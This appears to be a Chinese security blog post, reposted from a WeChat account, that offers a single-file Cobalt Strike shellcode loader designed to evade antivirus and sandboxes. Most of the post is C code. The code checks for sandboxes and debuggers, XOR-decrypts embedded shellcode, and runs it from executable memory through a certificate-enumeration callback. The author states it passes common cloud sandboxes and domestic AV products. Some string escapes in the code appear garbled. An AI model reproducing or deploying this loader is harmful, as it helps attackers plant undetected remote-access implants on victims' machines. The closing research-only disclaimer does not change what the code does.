1.前言
再来一水,上次发的有些人说分离的我怎么发送简历.exe,能不能发个单文件的,这就来了,代码加了过沙箱,可以自己看着调一调,测了几个常用的云沙箱以及国内AV,不杀内存的没问题,虚机也可上线,杀内存的话看着办吧,要不你就白,要不你就别用cs,要不你慢慢去特征,要不你就重写之类的,然后代码很简单不过多解释了,代码中都有注释,只需要把cs生成的shellcode复制出来写个脚本xor加密一下填进代码中encryptedData的位置就可以了。
2.代码及效果
代码:
void
performSecurityChecks
()
{
const
char
* expectedFilename =
"kfc.exe"
;
char
currentPath[MAX_PATH];
GetModuleFileName(
NULL
, currentPath, MAX_PATH);
// Extract only the filename from the path
const
char
* currentFilename =
strrchr
(currentPath,
'\'
);
if
(currentFilename ==
NULL
) {
currentFilename = currentPath;
}
else
{
currentFilename++;
}
if
(
strcmp
(expectedFilename, currentFilename) !=
0
) {
printf
(
"Filename changed!n"
);
exit
(
1
);
}
int
largeSize =
100
*
1024
*
1024
;
// 100 MB
char
* largeMem = (
char
*)
malloc
(largeSize);
if
(largeMem ==
NULL
) {
printf
(
"Failed to allocate large memory!n"
);
exit
(
1
);
}
free
(largeMem);
LPVOID mem = VirtualAllocExNuma(GetCurrentProcess(),
NULL
,
1024
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE,
0
);
if
(mem ==
NULL
) {
printf
(
"NUMA allocation failed!n"
);
exit
(
1
);
}
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if
(sysInfo.dwNumberOfProcessors <
2
) {
printf
(
"Limited CPU cores!n"
);
exit
(
1
);
}
MEMORYSTATUSEX memInfo;
memInfo.dwLength =
sizeof
(memInfo);
GlobalMemoryStatusEx(&memInfo);
if
(memInfo.ullTotalPhys <
2
*
1024
*
1024
) {
printf
(
"Limited memory!n"
);
exit
(
1
);
}
BOOL debuggerStatus = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerStatus);
if
(debuggerStatus) {
printf
(
"Debugger detected!n"
);
exit
(
1
);
}
HANDLE testFile = CreateFileA(
"kernel32.dll"
, GENERIC_READ,
0
,
NULL
, OPEN_EXISTING,
0
,
NULL
);
if
(testFile != INVALID_HANDLE_VALUE) {
printf
(
"Invalid file access succeeded!n"
);
CloseHandle(testFile);
exit
(
1
);
}
}
void
XORDecrypt
(
const
char
* key,
unsigned
char
* data,
size_t
dataSize)
{
size_t
keyLen =
strlen
(key);
for
(
size_t
i =
0
; i < dataSize; i++) {
data[i] ^= key[i % keyLen];
}
}
int
main
()
{
//沙箱检测
performSecurityChecks();
const
char
key[] =
"7c940eddbd01b125faa3b719f3d2f453"
;
// 加密后的 XOR ShellCode,以字节数组形式
unsigned
char
encryptedData[] = {
0xCB
,
0x8B
,
0xB0
,
0x34
,
0x30
,
};
// 计算 XOR 数据的长度
size_t
dataSize =
sizeof
(encryptedData);
// 解密数据
XORDecrypt(key, encryptedData, dataSize);
// 打印解密后的数据
//printf("Decrypted data: ");
//for (size_t i = 0; i < dataSize; i++) {
// printf("%02X", encryptedData[i]);
//}
//printf("n");
// 创建一个可执行内存区域
LPVOID executableMemory = VirtualAlloc(
NULL
, dataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if
(executableMemory ==
NULL
) {
printf
(
"Failed to allocate executable memory.n"
);
return
1
;
}
// 复制解密后的数据到可执行内存中
memcpy
(executableMemory, encryptedData, dataSize);
// 执行可执行内存中的代码
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER,
NULL
,
NULL
, (PFN_CERT_ENUM_SYSTEM_STORE)executableMemory);
// 释放内存
VirtualFree(executableMemory,
0
, MEM_RELEASE);
return
0
;
效果:
3.总结
不如菊总加强版CS。
原文始发于微信公众号(小黑说安全):分享一下单文件免杀上线
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论